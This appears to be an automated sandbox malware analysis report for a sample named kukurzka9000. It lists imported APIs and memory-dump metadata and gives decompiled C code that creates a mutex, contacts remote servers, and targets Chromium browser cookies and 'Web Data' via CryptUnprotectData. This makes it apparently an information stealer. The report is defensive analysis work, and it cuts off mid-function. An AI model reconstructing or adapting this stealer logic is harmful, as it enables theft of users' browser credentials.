MultiByteToWideChar, xrefs: 004012F2
PathCombineW, xrefs: 00401454
GlobalMemoryStatusEx, xrefs: 004011C6
pR"p, xrefs: 004016F1
InternetReadFile, xrefs: 0040171F
lstrcmpiW, xrefs: 00401398
OpenProcess, xrefs: 004012BC
lstrcmpA, xrefs: 004013A0
CryptStringToBinaryW, xrefs: 0040167C
SHGetSpecialFolderPathW, xrefs: 00401430
StrRChrW, xrefs: 00401466
StrStrA, xrefs: 0040148A
ShellExecuteW, xrefs: 0040140C
ConvertSidToStringSidW, xrefs: 004014F7
HttpQueryInfoA, xrefs: 0040175D
Crypt32.dll, xrefs: 00401089
GetTimeZoneInformation, xrefs: 00401190
GetDesktopWindow, xrefs: 004015F8
GetUserDefaultLCID, xrefs: 0040116C
StrStrIW, xrefs: 004014B8
CreateFileW, xrefs: 004011EA
GetModuleFileNameW, xrefs: 00401136
CreateMutexW, xrefs: 004011FC
WriteFile, xrefs: 004013E8
GetEnvironmentVariableW, xrefs: 004010CA
GetTokenInformation, xrefs: 00401523
lstrlenW, xrefs: 004013D6
CharUpperW, xrefs: 004015B6
GetClientRect, xrefs: 004015DE
GetDC, xrefs: 004015E6
StrStrW, xrefs: 0040149C
SetEnvironmentVariableW, xrefs: 0040134C
CryptUnprotectData, xrefs: 004016A0
Bcrypt.dll, xrefs: 004010A3
SetCurrentDirectoryW, xrefs: 0040133A
InternetReadFileExW, xrefs: 00401709
FreeLibrary, xrefs: 00401232
GetSystemMetrics, xrefs: 0040160A
RegOpenKeyExW, xrefs: 0040157D
lstrcpyA, xrefs: 00401374
GlobalAlloc, xrefs: 004011A2
lstrlenA, xrefs: 004013C4
Sleep, xrefs: 0040135E
GetDriveTypeW, xrefs: 004010EE
pXqt, xrefs: 004012E5
FindNextFileW, xrefs: 00401272
Process32First, xrefs: 00401316
iqt, xrefs: 004013A5
WideCharToMultiByte, xrefs: 004013FA
lstrcmpW, xrefs: 004013B2
EnumDisplayDevicesW, xrefs: 004015CC
GetSystemInfo, xrefs: 00401152
GetSystemWow64DirectoryW, xrefs: 0040115A
GetProcAddress, xrefs: 004010B0
WinInet.dll, xrefs: 00401059
CloseHandle, xrefs: 004011D8
RegEnumKeyExW, xrefs: 0040156B
InternetSetOptionW, xrefs: 004016D9
GetCurrentProcess, xrefs: 004010BD
GetFileSize, xrefs: 004010DC
StrToIntW, xrefs: 004014D6
DuplicateTokenEx, xrefs: 00401511
ReadFile, xrefs: 00401304
@iqt, xrefs: 0040138E
Shell32.dll, xrefs: 00401099
ExitProcess, xrefs: 004012A2
kernel32.dll, xrefs: 00401011
RegCloseKey, xrefs: 00401559
LoadLibraryW, xrefs: 00401030
LocalAlloc, xrefs: 004012E0
SHGetFolderPathW, xrefs: 0040141E
LocalFree, xrefs: 004012CE
InternetConnectW, xrefs: 004016B5
GetUserDefaultLocaleName, xrefs: 0040117E

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: iqt$@iqt$Advapi32.dll$Bcrypt.dll$CharUpperW$CloseHandle$CoCreateInstance$CoInitialize$ConvertSidToStringSidW$CopyFileW$CreateFileW$CreateMutexW$CreateProcessWithTokenW$CreateToolhelp32Snapshot$Crypt32.dll$CryptBinaryToStringW$CryptStringToBinaryA$CryptStringToBinaryW$CryptUnprotectData$DeleteFileW$DuplicateTokenEx$EnumDisplayDevicesW$ExitProcess$FindClose$FindFirstFileW$FindNextFileW$FreeLibrary$GetClientRect$GetCurrentProcess$GetDC$GetDesktopWindow$GetDriveTypeW$GetEnvironmentVariableW$GetFileSize$GetLastError$GetLocaleInfoW$GetLogicalDriveStringsW$GetModuleFileNameW$GetProcAddress$GetSystemInfo$GetSystemMetrics$GetSystemWow64DirectoryW$GetTimeZoneInformation$GetTokenInformation$GetUserDefaultLCID$GetUserDefaultLocaleName$GetUserNameW$GlobalAlloc$GlobalFree$GlobalMemoryStatusEx$HeapFree$HttpOpenRequestW$HttpQueryInfoA$HttpQueryInfoW$HttpSendRequestW$InternetCloseHandle$InternetConnectW$InternetOpenUrlA$InternetOpenUrlW$InternetOpenW$InternetReadFile$InternetReadFileExW$InternetSetOptionW$LoadLibraryW$LocalAlloc$LocalFree$MultiByteToWideChar$Ole32.dll$OpenMutexW$OpenProcess$OpenProcessToken$PathCombineW$PathMatchSpecW$Process32First$Process32Next$ReadFile$RegCloseKey$RegEnumKeyExW$RegOpenKeyExW$RegQueryValueExW$ReleaseDC$SHGetFolderPathW$SHGetSpecialFolderPathW$SetCurrentDirectoryW$SetEnvironmentVariableW$Shell32.dll$ShellExecuteW$Shlwapi.dll$Sleep$StrCpyW$StrRChrW$StrStrA$StrStrIW$StrStrW$StrToInt64ExW$StrToIntA$StrToIntW$SystemFunction036$User32.dll$WideCharToMultiByte$WinInet.dll$WriteFile$kernel32.dll$lstrcmpA$lstrcmpW$lstrcmpiW$lstrcpyA$lstrcpynA$lstrlenA$lstrlenW$pR"p$pXqt$wsprintfW
API String ID: 2238633743-2108237196
Opcode ID: e028293d92a6d1446fa316ab8758502f4985f86e5f7caba5ca57395c6088599a
Instruction ID: 478e95b91b71f65d022eb20dd3102177344006f4c0d5f92c9651a9cba786d8dc
Opcode Fuzzy Hash: e028293d92a6d1446fa316ab8758502f4985f86e5f7caba5ca57395c6088599a
Instruction Fuzzy Hash: 99125671645220EFD340DFBAEFC1E6937E8AB497003105D36B624F72A1D7B899218B5E

Uniqueness

Uniqueness Score: -1.00%

Function 0040776F Relevance: 68.6, APIs: 32, Strings: 7, Instructions: 395
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 59%

			_entry_() {
				WCHAR* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				struct _SECURITY_ATTRIBUTES* _v28;
				char _v32;
				struct HINSTANCE__* _v36;
				struct _SECURITY_ATTRIBUTES* _v40;
				char _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				char _v236;
				intOrPtr _t72;
				intOrPtr _t73;
				intOrPtr _t74;
				char _t77;
				char _t78;
				WCHAR* _t79;
				void* _t80;
				void* _t81;
				void* _t83;
				void* _t85;
				void* _t87;
				signed int _t95;
				void* _t99;
				void* _t100;
				void* _t113;
				void* _t117;
				void* _t123;
				void* _t124;
				void* _t125;
				void* _t126;
				void* _t127;
				void* _t128;
				void* _t129;
				struct _SECURITY_ATTRIBUTES* _t140;
				struct HINSTANCE__* _t156;
				struct HINSTANCE__* _t159;
				void* _t166;
				void* _t181;
				void* _t182;
				char* _t184;
				intOrPtr _t236;
				intOrPtr _t238;
				intOrPtr _t243;
				intOrPtr _t244;
				intOrPtr _t245;
				intOrPtr _t246;
				intOrPtr _t247;
				void* _t258;
				void* _t259;
				WCHAR* _t260;
				void* _t263;
				void* _t264;
				signed int _t265;
				void* _t268;
				struct HINSTANCE__* _t269;
				void* _t271;
				void* _t272;
				void* _t273;
				intOrPtr* _t276;
				void* _t277;
				intOrPtr* _t278;

				E0040100B(); // executed
				 *0x40e064(0);
				_v24 = E0040A4C2("afb5c633c4650f69312baef49db9dfa4");
				E00404027();
				_t184 =  *0x40e04c;
				_push(0x55);
				_push( &_v236);
				if( *_t184() == 0) {
					L4:
					_t260 = L"iqroq5112542785672901323";
					_push(_t260);
					_push(0);
					_push(0x1f0001);
					if( *((intOrPtr*)( *0x40e168))() != 0) {
						ExitProcess(2); // executed
					}
					CreateMutexW(0, 0, _t260);
					if(E0040A0BE() != 0) {
						E0040A1FE();
					}
					_t72 = E00409FD3(0x40d998);
					_t73 = E00409FD3("                                                                ");
					_t74 = E00409FD3("                                                                ");
					_v64 = _t72;
					_v60 = _t73;
					_v56 = _t74;
					_v52 = E00409FD3("                                                                ");
					_v48 = E00409FD3("                                                                ");
					_t77 =  *0x40e314; // 0x7fe890
					_v32 = _t77;
					_t78 =  *0x40e204; // 0x837988
					_v28 = 0;
					_v44 = _t78;
					_v40 = 0;
					_t79 = E00408619( &_v32);
					 *_t278 = 0x1000;
					_v8 = _t79;
					_t80 =  *((intOrPtr*)( *0x40e044))(0x40, _t184);
					_v20 = _t80;
					_t81 =  *((intOrPtr*)( *0x40e044))(0x40, 0x618);
					_t258 = E0040A5FA();
					_t83 = E0040A672( *0x40e044);
					_t181 = _t83;
					_t85 = E0040A503( *((intOrPtr*)( *0x40e13c))(_t81,  *0x40e348), _t258);
					_t236 =  *0x40e20c; // 0x837ae8
					_t87 = E0040A503(E0040A503(_t85, _t236), _t181);
					_t238 =  *0x40e308; // 0x827088
					_t263 = E0040A503(E0040A503(_t87, _t238), _v24);
					_v16 =  *((intOrPtr*)( *0x40e13c))(_v20, _t263);
					LocalFree(_t258);
					LocalFree(_t181);
					LocalFree(_t263);
					_t182 =  *((intOrPtr*)( *0x40e044))(0x40, 0x800);
					_t95 = 0;
					_v12 = 0;
					while(1) {
						_t264 = E0040A4C2( *((intOrPtr*)(_t277 + _t95 * 4 - 0x3c)));
						_push(_t264);
						if( *((short*)(_t264 +  *((intOrPtr*)( *0x40e08c))() * 2 - 2)) != 0x2f) {
							_t264 = E0040A503(_t264, "/");
						}
						_t99 = E00407C62(_t264, _v16, _v8,  &_v44);
						_t278 = _t278 + 0xc;
						_t259 = _t99;
						_t100 =  *((intOrPtr*)( *0x40e08c))(_t259);
						_push(_t264);
						if(_t100 >= 0x40) {
							break;
						}
						LocalFree();
						if(_t259 == 0) {
							LocalFree(_t259);
						}
						_t95 = _v12 + 1;
						_v12 = _t95;
						if(_t95 < 5) {
							continue;
						} else {
							L18:
							LocalFree(_v8);
							LocalFree(_v16);
							_v8 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
							E0040A24A( &_v8);
							if(_t259 == 0) {
								L38:
								LocalFree(_v8);
								LocalFree(_t182);
								ExitProcess(0);
							}
							E0040864C(_t259, _v8);
							_t265 = 0;
							_t113 =  *((intOrPtr*)( *0x40e18c))(_t259,  *0x40e418);
							if(_t113 == 0) {
								L21:
								ExitProcess(0xffffffff);
							}
							_t265 = _t113 - _t259 >> 1;
							_v12 =  *((intOrPtr*)( *0x40e044))(0x40, 0x100);
							_t117 =  *((intOrPtr*)( *0x40e08c))(_t259);
							_t37 = _t265 + 6; // 0x6
							if(E0040A3E4(_t259,  &_v12, _t37, _t117) != 0) {
								_t182 = E0040A503(_t182, _v12);
								LocalFree(_v12);
								_t123 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
								_t124 =  *((intOrPtr*)( *0x40e13c))(_t123, _v8);
								_t243 =  *0x40e258; // 0x8374a8
								_t125 = E0040A503(_t124, _t243);
								_t244 =  *0x40e370; // 0x80f570
								_t126 = E0040A503(_t125, _t244);
								_v20 = _t126;
								_t127 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
								_t128 =  *((intOrPtr*)( *0x40e13c))(_t127, _v8);
								_t245 =  *0x40e258; // 0x8374a8
								_t129 = E0040A503(_t128, _t245);
								_t246 =  *0x40e454; // 0x827028
								_v24 = E0040A503(_t129, _t246);
								SetCurrentDirectoryW(_v8);
								GetEnvironmentVariableW( *0x40e2e0,  *((intOrPtr*)( *0x40e044))(0x40, 0x5000), 0x2800);
								_t247 =  *0x40e1e8; // 0x837a68
								_t220 = E0040A503(_t132, _t247);
								_t268 = E0040A503(_t134, _v8);
								SetEnvironmentVariableW( *0x40e2e0, _t268);
								LocalFree(_t268);
								E00409906(_t259, _t182);
								_t140 =  *((intOrPtr*)( *0x40e034))(_v24);
								_v28 = _t140;
								if(_t140 != 0) {
									E00403F9D(_t220, _t140, _t259, _t182);
								}
								_t269 =  *((intOrPtr*)( *0x40e034))(_v20);
								_v36 = _t269;
								if(_t269 != 0) {
									_t166 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
									_v16 = _t166;
									 *0x40e0c4(0, _t166, 0x1a, 0);
									if(E004065D8(_t269) == 0) {
										_t273 = _v16;
									} else {
										_t273 = _v16;
										E0040633E(_t273, _t182, _t269, 0);
									}
									LocalFree(_t273);
								}
								E0040A7DA(_t182);
								E0040ABD8(_t259, _t182);
								E004055B6(_t182);
								E00409BD9(_t259, _t182);
								E00404F7E(_t259, _t182);
								_v12 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t259) + _t149);
								if(E00408A42(_t259,  &_v12) > 0) {
									E00408ADD(_v12, _t182);
								}
								LocalFree(_v12);
								E004073C7();
								_t156 = _v36;
								if(_t156 != 0) {
									FreeLibrary(_t156);
								}
								_t271 = _v20;
								DeleteFileW(_t271);
								LocalFree(_t271);
								_t159 = _v28;
								if(_t159 != 0) {
									FreeLibrary(_t159);
								}
								_t272 = _v24;
								DeleteFileW(_t272);
								LocalFree(_t272);
								LocalFree(_t259);
								goto L38;
							} else {
								ExitProcess(0xfffffffe);
							}
							goto L21;
						}
					}
					_t182 =  *((intOrPtr*)( *0x40e13c))(_t182);
					LocalFree(_t264);
					goto L18;
				}
				_t276 = 0x40e4d8;
				while(1) {
					_push( *_t276);
					_t184 =  &_v236;
					_push(_t184);
					if( *((intOrPtr*)( *0x40e170))() != 0) {
						goto L4;
					}
					_t276 = _t276 + 4;
					if(_t276 != 0x40e4dc) {
						continue;
					}
					goto L4;
				}
				goto L4;
			}

0x0040777b
0x00407783
0x00407793
0x00407796
0x0040779b
0x004077a7
0x004077a9
0x004077ae
0x004077d4
0x004077d9
0x004077de
0x004077df
0x004077e0
0x004077e9
0x004077f8
0x004077f8
0x004077ee
0x00407805
0x00407807
0x00407807
0x00407812
0x0040781e
0x0040782a
0x00407834
0x00407837
0x0040783a
0x00407847
0x0040784f
0x00407855
0x0040785a
0x0040785d
0x00407862
0x00407865
0x00407868
0x0040786b
0x00407876
0x0040787f
0x00407882
0x00407891
0x00407894
0x0040789d
0x0040789f
0x004078b0
0x004078b9
0x004078be
0x004078cf
0x004078d4
0x004078f1
0x004078fa
0x004078fd
0x00407904
0x0040790b
0x00407920
0x00407922
0x00407924
0x00407927
0x00407936
0x00407938
0x00407941
0x0040794f
0x0040794f
0x0040795d
0x00407968
0x0040796b
0x0040796e
0x00407970
0x00407974
0x00000000
0x00000000
0x00407976
0x0040797e
0x00407981
0x00407981
0x0040798a
0x0040798b
0x00407991
0x00000000
0x00407993
0x004079a6
0x004079a9
0x004079b2
0x004079c9
0x004079cc
0x004079d3
0x00407c45
0x00407c48
0x00407c4f
0x00407c57
0x00407c57
0x004079de
0x004079ee
0x004079f1
0x004079f5
0x004079ff
0x00407a01
0x00407a01
0x004079fb
0x00407a15
0x00407a1e
0x00407a21
0x00407a33
0x00407a4a
0x00407a4c
0x00407a5f
0x00407a6b
0x00407a6d
0x00407a75
0x00407a7a
0x00407a82
0x00407a90
0x00407a93
0x00407a9f
0x00407aa1
0x00407aa9
0x00407aae
0x00407abe
0x00407ac1
0x00407ae4
0x00407aea
0x00407afa
0x00407b01
0x00407b0a
0x00407b11
0x00407b19
0x00407b26
0x00407b28
0x00407b2d
0x00407b33
0x00407b39
0x00407b44
0x00407b46
0x00407b4b
0x00407b5a
0x00407b63
0x00407b66
0x00407b75
0x00407b8a
0x00407b77
0x00407b7a
0x00407b81
0x00407b87
0x00407b8e
0x00407b8e
0x00407b98
0x00407ba1
0x00407baa
0x00407bb3
0x00407bbc
0x00407bd6
0x00407be5
0x00407beb
0x00407beb
0x00407bf3
0x00407bfb
0x00407c00
0x00407c05
0x00407c08
0x00407c08
0x00407c0e
0x00407c12
0x00407c19
0x00407c1f
0x00407c24
0x00407c27
0x00407c27
0x00407c2d
0x00407c31
0x00407c38
0x00407c3f
0x00000000
0x00407a35
0x00407a37
0x00407a37
0x00000000
0x00407a33
0x00407991
0x0040799e
0x004079a0
0x00000000
0x004079a0
0x004077b0
0x004077b5
0x004077b5
0x004077bc
0x004077c2
0x004077c7
0x00000000
0x00000000
0x004077c9
0x004077d2
0x00000000
0x00000000
0x00000000
0x004077d2
0x00000000

APIs

Part of subcall function 0040100B: LoadLibraryW.KERNEL32(kernel32.dll,?,?,00407780), ref: 00401016
Part of subcall function 0040100B: GetProcAddress.KERNEL32(00000000,LoadLibraryW), ref: 00401036
Part of subcall function 0040100B: LoadLibraryW.KERNELBASE(WinInet.dll,?,?,?,?,?,00407780), ref: 00401061
Part of subcall function 0040100B: LoadLibraryW.KERNELBASE(Crypt32.dll,?,?,?,?,?,00407780), ref: 00401091
Part of subcall function 0040100B: LoadLibraryW.KERNELBASE(Bcrypt.dll,?,?,?,?,?,00407780), ref: 004010AA
Part of subcall function 0040100B: GetProcAddress.KERNEL32(?,GetProcAddress), ref: 004010B8

CoInitialize.OLE32(00000000), ref: 00407783

Part of subcall function 0040A4C2: LocalAlloc.KERNEL32(00000040,?,?,?,00000000,00407793), ref: 0040A4E1
Part of subcall function 0040A4C2: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,afb5c633c4650f69312baef49db9dfa4,000000FF,00000000,00000000,?,?,?,00000000,00407793), ref: 0040A4F1

CreateMutexW.KERNEL32(00000000,00000000,iqroq5112542785672901323), ref: 004077EE
ExitProcess.KERNEL32 ref: 004077F8
LocalFree.KERNEL32(00000000), ref: 004078FD
LocalFree.KERNEL32(00000000), ref: 00407904
LocalFree.KERNEL32(00000000), ref: 0040790B
LocalFree.KERNEL32(00000000), ref: 00407976
LocalFree.KERNEL32(00000000), ref: 00407981
LocalFree.KERNEL32(00000000), ref: 004079A0
LocalFree.KERNEL32(?), ref: 004079A9
LocalFree.KERNEL32(?), ref: 004079B2
ExitProcess.KERNEL32 ref: 00407A01
ExitProcess.KERNEL32 ref: 00407A37

Strings

afb5c633c4650f69312baef49db9dfa4, xrefs: 00407789
, xrefs: 0040782F
, xrefs: 00407823
, xrefs: 00407817
pXqt, xrefs: 004078FD, 00407904, 0040790B, 00407976, 00407981, 004079A0, 004079A9, 004079B2, 00407A4C, 00407B11, 00407B8E, 00407BF3, 00407C19, 00407C38, 00407C3F, 00407C48, 00407C4F
iqroq5112542785672901323, xrefs: 004077D9, 004077DE, 004077EB
, xrefs: 00407842

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: Local$Free$LibraryLoad$ExitProcess$AddressProc$AllocByteCharCreateInitializeMultiMutexWide
String ID: $ $ $ $afb5c633c4650f69312baef49db9dfa4$iqroq5112542785672901323$pXqt
API String ID: 1492179042-3408909005
Opcode ID: 0a0d8b2567dfd511483fd131902667ad1f2beff92a239810d1cd299ce7c42da3
Instruction ID: e92a4b87a1a530e7256a75f8bb231f7b298302859da8ec0d9ad369049daf7dae
Opcode Fuzzy Hash: 0a0d8b2567dfd511483fd131902667ad1f2beff92a239810d1cd299ce7c42da3
Instruction Fuzzy Hash: 25D18571E00214ABDB04ABB6DE49E6E77B5AF48310B10483AF905B73D1DF78AD118B5E

Uniqueness

Uniqueness Score: -1.00%

Function 0254EB40 Relevance: 3.2, APIs: 2, Instructions: 236
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 0254EB86
VirtualProtect.KERNELBASE(?,?,00000000), ref: 0254EDD0

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 6a4e5aa6d90b8b3ed13825a8e48c3be58f940a9f27a0826dba1cadd81984fabe
Instruction ID: a87b1f8ed8090a0515786dbd8c3c119f065ac17fab5c035568817cd8fd382deb
Opcode Fuzzy Hash: 6a4e5aa6d90b8b3ed13825a8e48c3be58f940a9f27a0826dba1cadd81984fabe
Instruction Fuzzy Hash: 69B189B5A00209DFCB08CF88C895EAEBBB6FF88314F148559E9099B355D731E981CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0254E620 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 46
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040), ref: 0254E6A4

Strings

VirtualAlloc, xrefs: 0254E689, 0254E68C

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: VirtualAlloc
API String ID: 4275171209-164498762
Opcode ID: a77aec488e472259a9f8f903e2d2770156d735046b38bce3c934600cf440992a
Instruction ID: bef53ecc6eeb5991ddb4a26b915884c21f0f6403676f1528afb47aaadceeca26
Opcode Fuzzy Hash: a77aec488e472259a9f8f903e2d2770156d735046b38bce3c934600cf440992a
Instruction Fuzzy Hash: 2E110070D08289DAEF01D7E8D8097FEBFB56B11708F044098D5456A282D6BA57588BA6

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00402CB8 Relevance: 44.2, APIs: 19, Strings: 6, Instructions: 440
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalFree.KERNEL32(00000000), ref: 00402D47

Part of subcall function 0040A69E: LocalFree.KERNEL32(00000000,?,?,0040B2D2), ref: 0040A701

StrCpyW.SHLWAPI(?,?), ref: 00402D87
LocalFree.KERNEL32(00000000), ref: 00402D92
LocalFree.KERNEL32(00000000), ref: 00402DA1
LocalFree.KERNEL32(00000000), ref: 00402DB0
LocalFree.KERNEL32(00000000), ref: 00402DBF
LocalFree.KERNEL32(00000000), ref: 00402DCA
DeleteFileW.KERNEL32(?), ref: 00402F30
LocalFree.KERNEL32(?), ref: 00402F37
LocalFree.KERNEL32(00000000), ref: 00402F4F
wsprintfW.USER32 ref: 00403102
lstrlenW.KERNEL32(00000000), ref: 0040310C
wsprintfW.USER32 ref: 004031A6
lstrlenW.KERNEL32(00000000), ref: 004031B0
LocalFree.KERNEL32(00000000), ref: 004031CB
LocalFree.KERNEL32(?), ref: 004031D4
LocalFree.KERNEL32(00000000), ref: 004031E2
LocalFree.KERNEL32(00000000), ref: 004031EC
DeleteFileW.KERNEL32(?), ref: 00403223

Strings

TRUE, xrefs: 004030EA, 004030F5, 0040318C, 00403199
Cookies, xrefs: 00402DE9
pXqt, xrefs: 00402D47, 00402D92, 00402DA1, 00402DB0, 00402DBF, 00402DCA, 00402F37, 00402F4F, 004031CB, 004031D4, 004031E2, 004031EC
v10, xrefs: 0040308D
FALSE, xrefs: 004030E5, 00403191
Network\Cookies, xrefs: 00402DE0

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: FreeLocal$DeleteFilelstrlenwsprintf
String ID: Cookies$FALSE$Network\Cookies$TRUE$pXqt$v10
API String ID: 2479234762-265478725
Opcode ID: ca82027ae101a843b685d125fad7f84f8d5a922713a545ea654940957bcd5cc7
Instruction ID: 518071ebf78736c82c0705b89313a0bc18143e80e42b499cd2370e7bd490f6e3
Opcode Fuzzy Hash: ca82027ae101a843b685d125fad7f84f8d5a922713a545ea654940957bcd5cc7
Instruction Fuzzy Hash: A3024C71900219EFDF059FA2EE49AAE7BB5FB08301F104839E911B72A0D7759D20DF59

Uniqueness

Uniqueness Score: -1.00%

Function 00403236 Relevance: 44.2, APIs: 22, Strings: 3, Instructions: 437fileCOMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 004032C3

Part of subcall function 0040A69E: LocalFree.KERNEL32(00000000,?,?,0040B2D2), ref: 0040A701

LocalFree.KERNEL32(00000000), ref: 00403312
LocalFree.KERNEL32(00000000), ref: 00403321
LocalFree.KERNEL32(00000000), ref: 00403330
LocalFree.KERNEL32(00000000), ref: 0040333B
LocalFree.KERNEL32(00000000), ref: 00403346
LocalFree.KERNEL32(00000000), ref: 0040346B
LocalFree.KERNEL32(?), ref: 00403472
LocalFree.KERNEL32(00000000), ref: 0040349E
LocalFree.KERNEL32(?), ref: 004034A5
LocalFree.KERNEL32(00000000), ref: 00403747
DeleteFileW.KERNEL32(?), ref: 0040374E
LocalFree.KERNEL32(?), ref: 00403755

Strings

pXqt, xrefs: 004032C3, 00403312, 00403321, 00403330, 0040333B, 00403346, 0040346B, 00403472, 0040349E, 004034A5, 0040364A, 004036CC, 004036E2, 004036EC, 00403713, 00403739, 00403747, 00403755
v10, xrefs: 004035CA
Web Data, xrefs: 00403411

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: FreeLocal$DeleteFile
String ID: Web Data$pXqt$v10
API String ID: 2194112602-1228955184
Opcode ID: 95a4d13152d61a2150443ef15e5531f8b924340940afcc281ea8c97043dcaaac
Instruction ID: dd7c25951b04004103893565f422d3d2245e9c7bd2d4e4275fc45d8d731e42ae
Opcode Fuzzy Hash: 95a4d13152d61a2150443ef15e5531f8b924340940afcc281ea8c97043dcaaac
Instruction Fuzzy Hash: A2F1A171900214EFDB15DFA6EE44AAE7BB9FB08311F104839F511B72A0DB759A20CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004027B8 Relevance: 44.2, APIs: 22, Strings: 3, Instructions: 419
fileCOMMON

Download Yara Rule

C-Code - Quality: 15%

			E004027B8(intOrPtr* __ecx, intOrPtr* __edx, void* __eflags, intOrPtr _a8, intOrPtr _a12, char _a16) {
				signed int _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				void* _v16;
				WCHAR* _v20;
				void* _v24;
				signed int _v28;
				void* _v32;
				void* _v36;
				intOrPtr _v40;
				intOrPtr* _v44;
				void* _v48;
				char _v52;
				void* _v56;
				void* _v60;
				char _v64;
				void* _v68;
				char _v72;
				void* _v76;
				char _v80;
				void* _v84;
				char _v88;
				void* _t103;
				void* _t104;
				intOrPtr _t118;
				intOrPtr _t120;
				intOrPtr _t122;
				intOrPtr _t124;
				intOrPtr _t126;
				intOrPtr _t128;
				intOrPtr _t130;
				void* _t134;
				void* _t135;
				void* _t137;
				void* _t146;
				void* _t153;
				void* _t154;
				signed int _t155;
				intOrPtr _t157;
				intOrPtr _t158;
				void* _t160;
				void* _t161;
				WCHAR* _t165;
				void* _t173;
				void* _t174;
				int _t175;
				void* _t184;
				int _t185;
				void* _t190;
				void* _t199;
				intOrPtr* _t203;
				void* _t204;
				intOrPtr* _t205;
				void* _t253;
				signed int _t255;
				void* _t258;
				void* _t259;
				void* _t260;
				char _t261;
				void* _t263;
				void* _t265;
				signed int _t266;
				void* _t267;
				intOrPtr* _t270;
				void* _t271;

				_t203 = __edx;
				_v44 = __ecx;
				_t103 =  *((intOrPtr*)( *0x40e044))(0x40, 0x400);
				_t104 =  *((intOrPtr*)( *0x40e13c))(_t103, _a12);
				_v8 = _v8 & 0x00000000;
				_t253 = _t104;
				E004017FA(_t253,  &_v8,  &_v52);
				 *_t270 = 0x200;
				_t259 =  *((intOrPtr*)( *0x40e044))(0x40);
				_v48 = _t259;
				E00401934(_v8,  &_v48,  *0x40e044, _v52);
				_v28 = _v28 & 0x00000000;
				_v60 = _t259;
				_v64 = 0x200;
				_t260 =  *((intOrPtr*)( *0x40e044))(0x40, 0x400);
				_v24 = _t260;
				if(_v8 != 0) {
					LocalFree(_v8);
				}
				_push( &_v72);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push( &_v28);
				_push( &_v64);
				if( *((intOrPtr*)( *0x40e0b0))() != 0) {
					_t199 = E0040177F(_v68,  &_v24, _v72);
					_t260 = _v24;
					if(_t199 != 0) {
						 *_t203 =  *((intOrPtr*)( *0x40e13c))( *_t203, _t260);
					}
				}
				if(_v28 != 0) {
					LocalFree(_v28);
				}
				if(_v60 != 0) {
					LocalFree(_v60);
				}
				if(_v68 != 0) {
					LocalFree(_v68);
				}
				if(_t260 != 0) {
					LocalFree(_t260);
				}
				if(_t253 != 0) {
					LocalFree(_t253);
				}
				_t261 = _a16;
				if(_t261 == 0) {
					L57:
					return 0;
				} else {
					_t118 =  *((intOrPtr*)( *0x40e0d4))(_t261,  *0x40e1c4);
					 *0x40e4d4 = _t118;
					_t120 =  *((intOrPtr*)( *0x40e0d4))(_t261,  *0x40e1f8);
					 *0x40e4c8 = _t120;
					_t122 =  *((intOrPtr*)( *0x40e0d4))(_t261,  *0x40e1e0);
					 *0x40e4bc = _t122;
					_t124 =  *((intOrPtr*)( *0x40e0d4))(_t261,  *0x40e208);
					 *0x40e4c4 = _t124;
					_t126 =  *((intOrPtr*)( *0x40e0d4))(_t261,  *0x40e230);
